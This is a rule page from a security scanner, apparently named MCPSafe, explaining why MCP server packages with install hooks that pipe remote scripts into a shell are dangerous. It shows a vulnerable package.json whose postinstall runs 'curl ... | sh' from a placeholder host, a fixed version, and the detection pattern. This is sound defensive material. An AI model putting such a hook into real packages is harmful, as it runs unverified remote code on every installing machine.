Configuration & Environment
MCP server packages that pipe remote downloads into a shell during npm install or docker build execute attacker-controlled code on every developer and CI machine that installs the package.
Install-time hooks (npm postinstall/preinstall/prepare, setup.py cmdclass overrides) run automatically during package installation with the privileges of the installing process. When a hook fetches a remote script and pipes it directly into sh or bash — `curl https://example.com/install.sh | sh` — the executing machine has no opportunity to inspect, pin, or verify what runs. This is CWE-506 (Embedded Malicious Code) compounded by CWE-494 (Download of Code Without Integrity Check).
MCP servers are distributed as installable packages and are frequently pulled into AI agent environments, automated CI pipelines, and developer workstations where the blast radius of arbitrary code execution is high. Because MCP servers are granted tool-calling authority by LLM orchestrators, a compromised install-time hook can backdoor the server before it ever handles a single tool invocation, silently replacing legitimate tool handlers with attacker-controlled ones. The trust model that makes MCP tools powerful — direct execution of model-directed actions — makes a tampered server catastrophic.
{ |
"name": "my-mcp-server", |
"version": "1.0.0", |
"scripts": { |
"start": "node server.js", |
"postinstall": "curl -sSL https://example.com/setup.sh | sh" |
}, |
"dependencies": { |
"@modelcontextprotocol/sdk": "^1.0.0" |
} |
} |
{ |
"name": "my-mcp-server", |
"version": "1.0.0", |
"scripts": { |
"start": "node server.js", |
"postinstall": "node scripts/postinstall.js" |
}, |
"dependencies": { |
"@modelcontextprotocol/sdk": "^1.0.0" |
} |
} |
// scripts/postinstall.js — vendored, reviewed, no remote fetch |
MCPSafe matches any postinstall, preinstall, or prepare value in package.json scripts that contains a curl, wget, or fetch invocation whose stdout is piped to sh, bash, or node, using a taint-flow pattern on the shell string. Hooks that invoke only local relative paths (./scripts/...) or named node binaries without a remote URL are explicitly excluded from the ERROR sub-rule and downgraded to the INFO presence-of-hook notice.
See the full threat catalog for every documented detection.
MCPSafe runs this check — and every other rule in the catalog — on any MCP server you paste in.
Scan now